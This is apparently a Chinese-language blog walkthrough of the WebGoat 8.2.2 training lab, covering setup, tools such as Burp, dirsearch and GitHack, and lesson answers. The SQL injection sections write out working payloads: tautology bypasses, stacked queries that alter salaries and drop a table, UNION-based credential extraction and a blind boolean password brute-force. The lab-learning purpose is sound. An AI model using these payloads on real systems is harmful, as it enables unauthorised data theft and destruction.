安装+环境配置

不通版本有些地方不一样,因此最好找一样的版本

先要安装 jdk、Webgoat 和 Webwolf

Webgoat 和 Webwolf jdk1.8 不支持了,需要安装 jdk11

去 git 上下载 Webgoat 和 Webwolf(只需要 webgoat-server-xxx.jar 和 webwolf-xxx.jar 就行了,下载后记得放同一个文件夹下,最好路径没中文,虽然有中文也能启动,但是养好习惯)

链接直达

自行选择版本,我选择的是8.2.2

oracle官网下载(注意版本问题,版本不匹配会报错,8.2.2 需要 jdk>15)下面是 jdk17,然后记得配置环境变量

链接直达

启动命令

1
2
java –jar webgoat-server-8.2.2.jar --server.port=8080 # 启动webgoat这里开放端口是8080,根据自己需求自己改
java -jar -Dfile.encoding=UTF-8 webwolf-8.2.2.jar --server.port=9090 # 启动webwolf这里开放端口是9090,根据自己需求自己改

启动后进入浏览器输入(注意大小。。。)

1
2
localhost:8080/WebGoat/
localhost:9090/WebWolf/

WebGoat 会自动跳转到 login,自行注册就行了,WebWolf 用的是 WebGoat 的账号密码

因为题目全是英格力士,我是用 edge 浏览器自带翻译功能

因为博主有刷其他靶场的经验,本靶场仅仅作为博主的笔记

因此大部分只有答案过程可能并不详细,并且只在需要才会给出步骤图片(懒)

但是我会在步骤和代码的部分尽量解读(因为如果我也看不懂,我会花功夫讲透 😭)

如果下面题目中用了😭,说明博主还没有解决

参考资料:

WebGoat-8.2.2 版靶机学习总结_webgoat8.2.2-CSDN 博客


常用命令和工具

这里先给出解题比较常用的命令和工具(当然每题的解法多种多样,本人小白一个,我会尽力去找更多的解法的,如有不全,请多包涵)

因为这里要用的工具我都自己有,需要的评论就行

0.翻译软件

因为 WebGoat 都是英格力士,对于我这种英语不怎么行的还是得用翻译

我没有用 goole,这里我只说 edge 和火狐

edge 自带翻译功能,挺好用的,但是配合 burp 不如火狐简单(反正我没有配好就算了)

火狐需要下载插件,这里我推荐twp(Translate Web Pages),翻译速度还行(质量也就那样,所以翻译英格力士的能力还是得有的 😥)

但是我最推荐的是英语和翻译一起看,会比较明朗

1.curl

详情请点击这里

这里给出简单的命令集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
-a/--append 上传文件时,附加到目标文件

-A/--user-agent <string> 设置用户代理发送给服务器

--anyauth 可以使用“任何”身份验证方法

-b/--cookie <name=string/file> cookie 字符串或文件读取位置

--basic 使用 HTTP 基本验证

-B/--use-ascii 使用 ASCII /文本传输

-c/--cookie-jar <file> 操作结束后把 cookie 写入到这个文件中

-C/--continue-at <offset> 断点续转

-d/--data <data> HTTP POST 方式传送数据

--data-ascii <data> 以 ascii 的方式 post 数据

--data-binary <data> 以二进制的方式 post 数据

--negotiate 使用 HTTP 身份验证

--digest 使用数字身份验证

--disable-eprt 禁止使用 EPRT 或 LPRT

--disable-epsv 禁止使用 EPSV

-D/--dump-header <file> 把 header 信息写入到该文件中

--egd-file <file> 为随机数据(SSL)设置 EGD socket 路径

--tcp-nodelay 使用 TCP_NODELAY 选项

-e/--referer 来源网址

-E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)

--cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)

--key <key> 私钥文件名 (SSL)

--key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)

--pass <pass> 私钥密码 (SSL)

--engine <eng> 加密引擎使用 (SSL). "--engine list" for list

--cacert <file> CA 证书 (SSL)

--capath <directory> CA 目录 (made using c_rehash) to verify peer against (SSL)

--ciphers <list> SSL 密码

--compressed 要求返回是压缩的形势 (using deflate or gzip)

--connect-timeout <seconds> 设置最大请求时间

--create-dirs 建立本地目录的目录层次结构

--crlf 上传是把 LF 转变成 CRLF

-f/--fail 连接失败时不显示 http 错误

--ftp-create-dirs 如果远程目录不存在,创建远程目录

--ftp-method [multicwd/nocwd/singlecwd] 控制 CWD 的使用

--ftp-pasv 使用 PASV/EPSV 代替端口

--ftp-skip-pasv-ip 使用 PASV 的时候,忽略该 IP 地址

--ftp-ssl 尝试用 SSL/TLS 来进行 ftp 数据传输

--ftp-ssl-reqd 要求用 SSL/TLS 来进行 ftp 数据传输

-F/--form <name=content> 模拟 http 表单提交数据

-form-string <name=string> 模拟 http 表单提交数据

-g/--globoff 禁用网址序列和范围使用{}和[]

-G/--get 以 get 的方式来发送数据

-h/--help 帮助

-H/--header <line>自定义头信息传递给服务器

--ignore-content-length 忽略的 HTTP 头信息的长度

-i/--include 输出时包括 protocol 头信息

-I/--head 只显示文档信息

-j/--junk-session-cookies 读取文件进忽略 session cookie

--interface <interface> 使用指定网络接口/地址

--krb4 <level> 使用指定安全级别的 krb4

-k/--insecure 允许不使用证书到 SSL 站点

-K/--config 指定的配置文件读取

-l/--list-only 列出 ftp 目录下的文件名称

--limit-rate <rate> 设置传输速度

--local-port<NUM> 强制使用本地端口号

-m/--max-time <seconds> 设置最大传输时间

--max-redirs <num> 设置最大读取的目录数

--max-filesize <bytes> 设置最大下载的文件总量

-M/--manual 显示全手动

-n/--netrc 从 netrc 文件中读取用户名和密码

--netrc-optional 使用 .netrc 或者 URL 来覆盖-n

--ntlm 使用 HTTP NTLM 身份验证

-N/--no-buffer 禁用缓冲输出

-o/--output 把输出写到该文件中

-O/--remote-name 把输出写到该文件中,保留远程文件的文件名

-p/--proxytunnel 使用 HTTP 代理

--proxy-anyauth 选择任一代理身份验证方法

--proxy-basic 在代理上使用基本身份验证

--proxy-digest 在代理上使用数字身份验证

--proxy-ntlm 在代理上使用 ntlm 身份验证

-P/--ftp-port <address> 使用端口地址,而不是使用 PASV

-Q/--quote <cmd>文件传输前,发送命令到服务器

-r/--range <range>检索来自 HTTP/1.1 或 FTP 服务器字节范围

--range-file 读取(SSL)的随机文件

-R/--remote-time 在本地生成文件时,保留远程文件时间

--retry <num> 传输出现问题时,重试的次数

--retry-delay <seconds> 传输出现问题时,设置重试间隔时间

--retry-max-time <seconds> 传输出现问题时,设置最大重试时间

-s/--silent 静音模式。不输出任何东西

-S/--show-error 显示错误

--socks4 <host[:port]> 用 socks4 代理给定主机和端口

--socks5 <host[:port]> 用 socks5 代理给定主机和端口

--stderr <file>

-t/--telnet-option <OPT=val> Telnet 选项设置

--trace <file> 对指定文件进行 debug

--trace-ascii <file> Like --跟踪但没有 hex 输出

--trace-time 跟踪/详细输出时,添加时间戳

-T/--upload-file <file> 上传文件

--url <URL> Spet URL to work with

-u/--user <user[:password]>设置服务器的用户和密码

-U/--proxy-user <user[:password]>设置代理用户名和密码

-v/--verbose

-V/--version 显示版本信息

-w/--write-out [format]什么输出完成后

-x/--proxy <host[:port]>在给定的端口上使用 HTTP 代理

-X/--request <command>指定什么命令

-y/--speed-time 放弃限速所要的时间。默认为 30

-Y/--speed-limit 停止传输速度的限制,速度时间'秒

-z/--time-cond 传送时间设置

-0/--http1.0 使用 HTTP 1.0

-1/--tlsv1 使用 TLSv1(SSL)

-2/--sslv2 使用 SSLv2 的(SSL)

-3/--sslv3 使用的 SSLv3(SSL)

--3p-quote like -Q for the source URL for 3rd party transfer

--3p-url 使用 url,进行第三方传送

--3p-user 使用用户名和密码,进行第三方传送

-4/--ipv4 使用 IP4

-6/--ipv6 使用 IP6

-#/--progress-bar 用进度条显示当前的传送状态

————

后置:

-v 显示详细信息(verbose 缩写),包括 IP 解析过程

-i 显示头信息

-I 只显示头信息

2.burp

这个很有用,集渗透,爆破等等一系列模块的软件,这里不多介绍,有兴趣可以去看国人写的介绍 👉Burp Suite 实战指南

软件没有的话懒得去找可以留言找我,burp 实战指南 pdf 版我也有

如何设置 burp 监听 webgoat

主要步骤:burpsuite 无法捕捉 localhost 包的解决方法

3.F12

浏览器 f12 自带的开发者模式,有关在客户端方面的很多都用开发者模式解决

4.dirsearch

dirsearch 是一个基于 python 的命令行工具,用于暴力扫描页面结构,包括网页中的目录和文件,用于探测 WEB 服务器下的****敏感文件/目录****的命令行工具。

1
2
3
4
5
6
7
8
9
常用命令

python dirsearch.py -u http://xxxx //日常使用

python dirsearch.py -u http://xxxx -r //递归扫描,不过容易被检测

python dirsearch.py -u http://xxxx -r -t 30 //线程控制请求速率

python dirsearch.py -u http://xxxx -r -t 30 --proxy 127.0.0.1:8080 //使用代理

下载教程及说明 👉点击直达

ps:网上一大坨教程我找了好久才找到有用的 😭

5.GitHack

GitHack is a .git folder disclosure exploit.

It rebuild source code from .git folder while keep directory structure unchanged.

GitHack 是一个.git 泄露利用脚本,通过泄露的.git 文件夹下的文件,重建还原工程源代码。

渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL 注射等 web 安全漏洞。

下载需要使用 git 命令

windows 下载 git

linux 系统下载 git 使用命令行yum install git

然后在自己想要的文件位置使用命令

1
git clone https://github.com/BugScanTeam/GitHack

值得一提的是 GitHack 只能在 Python2 的环境下运行

6.dvcs-ripper

泄露漏洞利用工具,在 linux 里面使用(可以找.svn,.hg 等等)

使用 git 下载

1
git clone [email protected]:kost/dvcs-ripper.git

然后使用命令下载需要组件

1
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

即可

7.password

字典需要准备好,用于爆破

8.编码/解码工具

我个人用的是

在线工具

atoolbox

md5 在线解密破解(用于 hash)

当然这个自己随便自己找一个就行


1.Introduction

1.WebGoat

WebGoat is a deliberately insecure application that allows interested developers just like you to test vulnerabilities commonly found in Java-based applications that use common and popular open source components.

Now, while we in no way condone causing intentional harm to any animal, goat or otherwise, we think learning everything you can about security vulnerabilities is essential to understanding just what happens when even a small bit of unintended code gets into your applications.

What better way to do that than with your very own scapegoat?

Feel free to do what you will with him. Hack, poke, prod and if it makes you feel better, scare him until your heart’s content. Go ahead, and hack the goat. We promise he likes it.

Thanks for your interest!

The WebGoat Team

机翻:

WebGoat 是一个故意不安全的应用程序,它允许像您一样感兴趣的开发人员测试在使用常见和流行的开源组件的基于 java 的应用程序中常见的漏洞。

现在,虽然我们绝不容忍对任何动物、山羊或其他动物造成故意伤害,但我们认为,了解有关安全漏洞的一切知识对于理解即使是一小部分意外代码进入应用程序时会发生什么也是必不可少的。

还有什么比找你自己的替罪羊更好的办法吗?

随你怎么处置他。砍啊,戳啊,戳啊,如果能让你感觉好点,就把他吓个半死。来吧,砍山羊。我们保证他会喜欢的。

谢谢你的关注!

WebGoat 团队

2.WebWolf

1.Introducing WebWolf

只有当课程指定您可以使用 WebWolf 时(一般右下角会有一头狼的图标,您才需要它。对于很多课程,您使用 WebGoat 而不使用 启动 WebWolf。如果您需要使用 WebWolf 进行练习,请确保它与 WebGoat 一起运行。

您也没有义务使用 WebWolf,您也可以使用您喜欢的任何拦截工具

2.Uploading files

教导如何上传文件

3.Your own mailbox

WebWolf 提供邮箱客户端

随便输入什么都会在返回一封邮件

打开邮件后会有 flag,输入就行(其实就是你的用户名反过来)

1

1

4.Landing page

Suppose we tricked a user to click on a link he/she received in an email, this link will open up our crafted password reset link page. The user does not notice any differences compared to the normal password reset page of the company. The user enters a new password and hits enter. The new password will be sent to your host. In this case the new password will be sent to WebWolf. Try to locate the unique code.

Please be aware that after resetting the password the user will receive an error page. In a real attack scenario the user would probably see a normal success page (this is due to a limit what we can control with WebWolf)

假设我们诱骗用户点击他/她在电子邮件中收到的链接,此链接将打开我们精心制作的链接 密码重置链接页面。与公司的正常密码重置页面相比,用户没有注意到任何差异。 用户输入新密码并按回车键。新密码将发送给您的主机。在这种情况下,新的 密码将发送到 WebWolf。尝试找到唯一代码。

请注意,重置密码后,用户将收到一个错误页面。在实际攻击场景中, 用户可能会看到一个正常的成功页面(这是由于我们可以使用 WebWolf 控制的限制)

点击蓝色的链接

3

随便输入密码

4

密码会出现在 url 中以及 flag

5


2.General

1.HTTP Basics

这一部分介绍了 http 的 GET 方法和 POST 方法的区别,简单区分就是 GET 方法的参数直接通过 url 传递,POST 的参数则通过包来传递。

2

该题看一下翻译叫我们输入名字就行了,没什么好说的

3

这题问上题 http 的 methon 是 GET 还是 POST,url 没变就是 POST

然后问我们 magic number ,这里就需要抓包了

打开 burp 开启拦截(没找到就 Forward,一个一个看)就能找到

6

2.HTTP Proxies

这里主要介绍的是 ZAP 代理工具,因为我使用的是 burp,所以不在介绍 ZAP,有兴趣自行学习,我们直接跳到第 6 题

6

这题是要你修改请求包

1
2
3
4
5
1.Change the Method to GET
2.Add a header 'x-request-intercepted:true'
3.Remove the request body and instead send 'changeMe' as query string parameter and set the value to 'Requests are tampered easily' (without the single quotes)

把POST改成GET,添加头部x-request-intercepted:true,把changeMe的字符串改成Requests are tampered easily

(下图未修改,修改仅仅是添加和修改,图片忘记保存了,不是很难就算了

9

3.Developer Tools

这里介绍的是开发者工具,也就是 F12,老样子我们直接跳到第 4 题和第 6 题

4

按照题意叫我们使用 ``webgoat.customjs.phoneHome()`函数就行了

10

6

这题是要我们观察发送的请求包(点击 go)

然后去网络的选项找 network 的包

请求里面有 networkNum

11

4.CIA Triad

The CIA Triad (confidentiality, integrity, availability) is a model for information security. The three elements of the triad are considered the most crucial information security components and should be guaranteed in any secure system.

CIA(保密性、完整性、可用性)是信息安全的典范。 三合会的三个要素被认为是最关键的信息安全组件,在任何安全系统中都应该得到保证

5

这题不好做解释,我就放出答案吧

12

5.Crypto Basics

This lesson explains different types of cryptography techniques that are commonly used in web applications.

本 节 课 介绍 了 Web 应用程序中 常用 的 不同 类型 的 加密 技术。

2.Base64 Encoding

随便找个 base64 解密网站就行了(我上面工具有)

13****

3.Other Encoding

这里介绍的其实是 IBM WebSphere Application Server 使用特定的 XOR 编码实现将密码存储在配置文件中,用 WebSphere 解密才行

WebSphere Password Decoder (sysman.nl)

答案这个是我上网搜的

13

不知道为什么我的没有用,503 了。。。估计是对面服务器的问题

15

下面再给个要翻墙的网站,这个我测试了没有问题

strelitzia.net

4.Hashing

这题的意思是要你现根据下面散列值的长度判断是哪种 hash 算法,再解密

但是我们用合适的工具就行了

md5 在线解密破解

输入直接解密就行了

5.

这题再我不断地看提示和网上大佬的 writeup 后知道了要干什么(需要使用 kali 的 openssl 功能,主要是方便,在其他地方自行下载 openssl 的包也行)

首先他给了一个 RSA 密钥,要我们先用密钥求公钥,然后用公钥取模(第一空),再用 sha256 签名,再用 base64 加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#openssl rsa: 这是openssl工具的一个子命令,用于处理RSA密钥。
#-in test.key: 这指定了输入文件,其中包含私钥。在这个例子中,私钥存储在名为test.key的文件中。
#-pubout: 这是一个标志,表示要输出公钥。
#> test.pub: 这将输出重定向到名为test.pub的文件中。

#-in test.pub: 这指定了输入文件,其中包含公钥。在这个例子中,公钥存储在名为test.pub的文件中。
#-pubin: 这是一个标志,表示输入文件包含的是公钥。
#-modulus: 这是一个标志,表示要输出模数。
#-noout: 这是一个标志,表示不输出密钥本身,只输出模数。

#echo命令中,-n选项用于抑制自动添加的换行符。
#openssl dgst -sign key -sha256 | base64 使用openssl的dgst命令(数据摘要和哈希工具)对输入进行签名。这里使用SHA-256哈希函数和一个私钥test.key进行签名,并将结果用base64加密
#1.生成公钥
openssl rsa -in test.key -pubout > test.pub
#2.获得模
openssl rsa -in test.pub -pubin -modulus -noout
#3.用sha256签名,再用base64加密
echo -n "***" | openssl dgst -sign key -sha256 | base64

17

18

16

8.

这题需要下载 docker,我懒得下载直接去找的答案

【WebGoat 通关思路】General / Crypto Basics_51CTO 博客_webgoat 通关攻略

答案是

1
2
1.Leaving passwords in docker images is not so secure
2.default_secret

6.Writing new lesson

主要是介绍叫你如何自己创造一道题目,这里我也直接给出答案

webgoat 通关流程 - 让-雅克-卢梭 - 博客园 (cnblogs.com)

第一空是secr37Value,第二空随意


3.Injection

1.SQL Injection(intro)(SQL 注入-简单版)

2.

尝试检索员工 Bob Franco 的部门。 请注意,您已在此分配中被授予完全管理员权限,无需身份验证即可访问所有数据。

(简单的 mysql 语法练手)

1
select department from Employees where userid=96134;

3.

将 Tobi Barnett 的部门更改为“销售”。 请注意,您已在此分配中被授予完全管理员权限,无需身份验证即可访问所有数据。

1
update employees set department='Sales' where first_name='Tobi';

4.

现在尝试通过将列 “phone” (varchar(20)) 添加到表 “employees” 来修改架构。:

1
alter table employees add column phone varchar(20);

5.

Try to grant rights to the table to user :grant_rightsunauthorized_user

给用户 unauthorized_user 赋予操作表 grant_rights 的权限。这里没有限制需要什么权限,我们把 CRUD 的权限都赋予用户

1
grant select,insert,update,delete on grant_rights to unauthorized_user;

9.

Try using the form below to retrieve all the users from the users table. You should not need to know any specific user name to get the complete list.

尝试使用下面的表格从用户表中检索所有用户。您不需要知道任何特定的用户名即可获取完整列表。

1
2
3
4
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' or '1' = '1'
# 这个查询之所以会返回所有字段,是因为 or '1' = '1' 这一部分始终为真。对于任何数据库来说,比较两个字符串 '1''1' 都是相等的,所以这个条件总是满足的。

#意味着,不管 first_name 和 last_name 的值是什么,只要它们满足给定的条件,或者 '1' = '1' 这一条件满足,记录就会被选中。

10.

使用下面的两个输入字段,尝试从用户表中检索所有数据。

警告:这些字段中只有一个容易受到 SQL 注入的影响。您需要找出哪个,才能成功检索所有数据。

通过使用1 and 1=1发现 User-Id 是注入点

Login_Conut:1

User_id:1 or 1=1

11.

你是一位名叫约翰·史密斯的员工,在一家大公司工作。 公司有一个内部系统,允许所有员工查看自己的内部数据,例如他们工作的部门和他们的薪水。

系统要求员工使用唯一的身份验证 TAN 来查看其数据。
您当前的 TAN 是 3SL99A。

由于您总是渴望成为收入最高的员工,因此您希望利用该系统,而不是查看自己的内部数据,而是查看所有同事的数据以检查他们当前的工资。

使用下面的表格,并尝试从 employees 表中检索所有员工数据。您无需知道任何特定名称或 TAN 即可获得所需的信息。
您已经发现,执行请求的查询如下所示:

1
2
"SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
# '" + name + "'赋值之后是'smith'因为+再"中变成了连接符连接',如果去掉+和",name会单纯成为字符串
1
2
3
4
Employee Name:Smith' or 1 = 1 --
Authentication TAN:123
# --在sql是注释后面语句,Authentication TAN为什么都没有关系
# 但是我在Authentication TAN也使用相同的手法但是没有成功,说明这里不是注入点

12.

Query chaining is exactly what it sounds like. With query chaining, you try to append one or more queries to the end of the actual query. You can do this by using the ; metacharacter. A ; marks the end of a SQL statement; it allows one to start another query right after the initial query without the need to even start a new line.

It is your turn!
You just found out that Tobi and Bob both seem to earn more money than you! Of course you cannot leave it at that.
Better go and change your own salary so you are earning the most!

Remember: Your name is John Smith and your current TAN is 3SL99A.

查询链接顾名思义。使用查询链接,您可以尝试将一个或多个查询追加到 实际查询。您可以使用 ; 元字符来执行此操作。A ;标记 SQL 语句的结尾;它允许在初始查询之后立即启动另一个查询,甚至不需要开始新行。

轮到你了!
你刚刚发现 Tobi 和 Bob 似乎都比你赚更多的钱! 当然,你不能就此罢休。
最好去改变你自己的工资,这样你赚得最多!

请记住:您的名字是 John Smith,您当前的 TAN 是 3SL99A。

和上题一样,第二空填不填都无所谓

1
Smith';update employees set salary=144514 where auth_tan='3SL99A'--

13.

1
1';drop table access_log;--

2.SQL injection(advanced)(SQL 注入-高级版)

3.

第一种写法

第一空

1
2
3
4
5
6
7
8
9
Smith' UNION SELECT userid,user_name, password, 'a', 'b', 'c', 1 from user_system_data --
# 完整语句
# 在SQL中,UNION操作符用于合并两个或多个SELECT语句的结果集。这些SELECT语句可以来自同一个表,也可以来自不同的表。在这个例子中,第一个SELECT语句是来自user_data表,而第二个SELECT语句是来自user_system_data表。

#第二个SELECT语句中,你选择了user_name和password字段,并添加了一些常量值(如1和'a', 'b', 'c')。这些常量值并不是来自user_system_data表的字段,而是为了满足UNION操作符的要求而添加的。

#在UNION操作中,每个SELECT语句必须具有相同的列数,并且相应的列必须有兼容的数据类型。因此,如果你想将两个查询的结果合并在一起,你需要确保第二个查询的列数与第一个查询匹配。在这里,第一个查询选择了所有列,所以第二个查询也需要选择相同数量的列。

#这些常量值在结果集中不会产生实际的数据,因为它们与查询的实际结果不匹配。它们仅仅是为了满足UNION的结构要求。

发现密码

1
passW0rD
第二种写法

原理其实都一样。。。

1
2
3
4
5
6
7
8
Smith' UNION SELECT 1,udt.user_name,udt.password,'2','3','4',5 FROM user_data ud RIGHT JOIN user_system_data udt ON ud.userid=udt.userid;--
# Smith':这部分尝试匹配user_data表中last_name为'Smith'的记录。
#UNION:这是一个SQL操作符,用于合并两个或多个SELECT语句的结果集。
#SELECT 1,udt.user_name,udt.password,‘2’,‘3’,‘4’,5:这部分是第二个SELECT语句,它从user_system_data表中选择数据。这里选择了user_name和password字段,并添加了一些常量值(1, '2', '3', '4', 5)。
#FROM user_data ud:这部分指定了第一个SELECT语句的来源表,即user_data,并给它起了一个别名ud。
#RIGHT JOIN user_system_data udt ON ud.userid=udt.userid;:这部分是一个连接操作。它试图将user_data表(别名为ud)与user_system_data表(别名为udt)进行右连接,连接条件是两个表中的userid字段相等。
#--:这是SQL中的注释符号,用于隐藏注入的SQL代码,使其更难以被数据库检测到。
#整体上,这段代码的目的是通过SQL注入攻击来获取数据库中敏感的数据。它首先通过'Smith'这个条件从user_data表中筛选出与'Smith'相关的记录,然后使用UNION操作符将结果与从user_system_data表中获取的数据合并在一起。由于这是一个右连接,它会返回所有在user_data表中的记录,以及与之相关联的user_system_data表中的记录

然后输入 password 就行了

5.

这题我是真的要吐槽啊,题目说了是 Tom,结果我抓包的时候修改成 tom 才有用 😅

1.按照题目要求说了漏洞在注册,那么注册的时候抓包

2.发送到 repeater 模块利用username_reg=tom'+and+password=1返回的 output 是 none

username_reg=tom'+and+passwor=1返回的是错误 something went wrong

说明密码的字段名是 password

3.然后利用username_reg=tom'+and+(length(password) > 10) --判断密码长度

若正确则返回User {0} already exists please try to register with a different username.

错误则返回你的输入

结束之后知道长度为 23

4.发送到 Intruder 模块爆破

修改 username_reg

1
tom' and substring(password,1,1)=’1’--

先设置好爆破位置,即后面两个 1 的位置,然后选择第四个集束炸弹(Clusterbomb)

进入 Intruder/Payloads,payload 即是 Positions 页面的设置好的爆破位置变量,数字默认顺序从左往右递增。

负载 1 表示遍历第 1 至第 23 位数

负载 2 表示第一个变量(负载 1)的所有可能性。

进行爆破

查看长度最小的排序就是密码

然后可以试一个发送个 repeater 模块

确实没有问题

但是一次没有收集全所有位数的字母,是因为有些请求出错了,经过多次攻击可以集齐所有位字母。
最终答案:thisisasecretfortomonly
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
t h i s i s a s e c r e t f o r t o m o n l y

6.

1.

预编译语句(Prepared Statement)和普通语句(Statement)的主要区别:

  1. 参数化:预编译语句使用占位符来代替实际的值,在执行时再将实际值绑定到占位符上。这样做可以防止 SQL 注入攻击,因为参数化的值不会被解释为 SQL 代码的一部分。普通语句则直接将值嵌入到 SQL 代码中,这可能导致 SQL 注入风险。
  2. 性能:对于多次执行的相同 SQL 结构但不同参数的查询,预编译语句通常比普通语句更快。这是因为数据库只需要解析 SQL 结构一次,然后可以多次使用已解析的结构来执行查询。普通语句每次执行时都需要解析。
  3. 存储:预编译语句的结构可以被数据库存储,以便后续重用,但实际的参数值不会被存储。然而,这取决于数据库的实现和配置;有些数据库可能不存储预编译语句的结构。普通语句不会被存储,除非它们被包含在存储过程或触发器中。

然后看题目

  • Solution 1: Prepared statements are statements with hard-coded parameters.(错误)预编译语句不是使用硬编码参数的语句;相反,它们使用占位符来代替参数。
  • Solution 2: Prepared statements are not stored in the database.(部分正确但不完全)预编译语句的结构可以被数据库存储,但实际的参数值不会被存储。然而,这个选项的表述可能会引起误解,因为它暗示预编译语句从不被存储,而实际上它们的结构有时会被存储。
  • Solution 3: A statement is faster.(错误)这个表述没有指明是哪种类型的语句(预编译的还是普通的),而且在没有上下文的情况下,无法确定哪种类型的语句更快。在重复执行的情况下,预编译语句通常比普通语句更快。
  • Solution 4: A statement has got values instead of a prepared statement.(部分正确但不清晰)这个选项似乎在暗示普通语句直接包含值,而预编译语句使用占位符。然而,这个表述不够清晰和准确。

没有一个选项是完美的答案,但如果必须选择一个最接近的,那么 Solution 4 在修改后可能最接近正确答案:一个普通语句(非预编译的)直接在 SQL 代码中包含值,而预编译语句使用占位符并在执行时绑定值

2.

在 SQL 语句中,通常使用问号(?)作为参数的占位符。当执行预编译的 SQL 语句时,可以使用参数化查询将参数值绑定到占位符上。这样做可以防止 SQL 注入攻击,并提高查询的性能。

例如,在 Python 的 SQLite 库中,可以使用问号(?)作为占位符,并使用参数化查询来绑定参数值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sqlite3

conn = sqlite3.connect('example.db')
cursor = conn.cursor()

# 创建预编译的SQL语句
query = "INSERT INTO table_name (column1, column2) VALUES (?, ?)"

# 绑定参数值
params = ('value1', 'value2')
cursor.execute(query, params)

conn.commit()
cursor.close()
conn.close()

在上面的例子中,问号(?)作为占位符,用于表示将要插入的值的位置。然后使用参数化查询将参数值绑定到占位符上,避免了 SQL 注入攻击的风险。

3.
  1. Solution 1: They are not static so they can compile better written code than statements.
    • 这个说法并不准确。预编译的语句和普通语句在编译时都有其动态和静态的方面。预编译的语句并不是静态的,但这并不意味着它们能“编译更好的代码”。实际上,预编译的语句主要在执行时更加高效,而不是在编译时。
  2. Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way.
    • 这个说法是正确的。预编译的语句在首次执行时会被数据库管理系统编译,并且会等待输入。这样的预编译可以提高后续执行的效率,因为数据库管理系统可以重用已编译的版本,而不是每次都重新编译。
  3. Solution 3: Prepared statements are stored and wait for input it raises performance considerably.
    • 这个说法有些模糊。预编译的语句可以被存储以便后续重用,但这并不是提高性能的主要原因。更重要的是预编译语句的编译和执行效率。存储预编译的语句可以进一步提高性能,但这并不是预编译的主要优势。
  4. Solution 4: Oracle optimized prepared statements. Because of the minimal use of the databases resources it is faster.
    • 这个说法可能只适用于 Oracle 数据库系统。确实,数据库管理系统(如 Oracle)可能会针对预编译的语句进行优化,从而使其执行得更快。这是因为预编译的语句减少了动态 SQL 带来的性能开销,如语法解析和查询计划生成。但是,这种优化并不适用于所有数据库系统,所以这个说法是有针对性的。

综上所述,最准确和全面的解释是:预编译的语句在首次执行时被数据库管理系统编译,并在后续执行中重用已编译的版本,从而提高性能。这种性能提升是由于避免了重复的解析、优化和编译步骤。此外,一些数据库系统(如 Oracle)还针对预编译的语句进行了优化,进一步提高了其性能。

4.
  1. Solution 3:Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data。

    解释:预编译的语句使用占位符来代替用户输入,确保用户输入与 SQL 查询的逻辑分离。这意味着用户输入不会被解释为 SQL 代码的一部分,从而防止了 SQL 注入攻击。通过使用占位符,数据库系统能够控制和验证输入的格式和类型,有效地防止恶意输入被解释为 SQL 命令。这种分离确保了代码和数据的安全性,防止了潜在的安全漏洞。

  2. Solution 1: Prepared statements have got an inner check to distinguish between input and logical errors.

    • 这个说法并不准确。预编译的语句本身并没有一个“内部检查”来区分输入和逻辑错误。预编译的语句主要是通过参数化输入来防止 SQL 注入攻击,而不是通过区分输入和逻辑错误。
  3. Solution 2: Prepared statements use the placeholders to make rules what input is allowed to use.

    • 这个说法也是不准确的。虽然预编译的语句确实使用占位符,但它们并不是用来“制定规则”来决定输入的使用方式。占位符的主要目的是为了安全地处理用户输入,防止 SQL 注入攻击。
  4. Solution 4: Prepared statements always read inputs literally and never mixes it with its SQL commands.

    • 这个说法部分正确,但也部分误导。预编译的语句确实将用户输入作为字面值处理,而不是将其解释为 SQL 代码的一部分。但是,这并不意味着预编译的语句“从不混合”输入与 SQL 命令。实际上,预编译的语句在执行时,会将占位符替换为实际的用户输入,并与 SQL 命令一起执行。关键在于这种替换是安全的,因为占位符确保了用户输入被当作数据而不是代码处理。

综上所述,预编译的语句通过使用占位符来分离代码和数据,确保用户输入被当作数据而不是代码处理,从而有效地防止 SQL 注入攻击。

5.

这段代码试图在表单中输入恶意 SQL 代码,目的是删除名为"Students"的表。

现在,我们逐一分析提供的解决方案:

  1. Solution 1: The table Students and all of its content will be deleted.
    • 这个说法是错误的。如果一个恶意用户尝试使用这样的输入,并且数据库没有采取适当的预防措施(例如使用预编译的语句),那么表"Students"及其所有内容将被删除。但是没有提及注册新用户
  2. Solution 2: The input deletes all students with the name Robert.
    • 这个说法是不正确的。实际上,这段代码会删除整个"Students"表,而不是只删除名为"Robert"的学生。
  3. Solution 3: The database registers ‘Robert’ and deletes the table afterwards.
    • 这个说法也是不正确的。实际上,这段代码会首先尝试将’Robert’插入到某个字段中,然后执行删除"Students"表的命令。
  4. Solution 4: The database registers ‘Robert’ ); DROP TABLE Students;–'.
    • 这个说法是正确的。如果数据库没有采取适当的预防措施,这段代码将尝试首先将’Robert’插入到某个字段中,然后执行删除"Students"表的命令。–`部分是为了防止 SQL 解析器将其余部分视为注释。

最总答案:43234

3.SQL Injection(mitigation)(SQL 注入缓解)

1-4

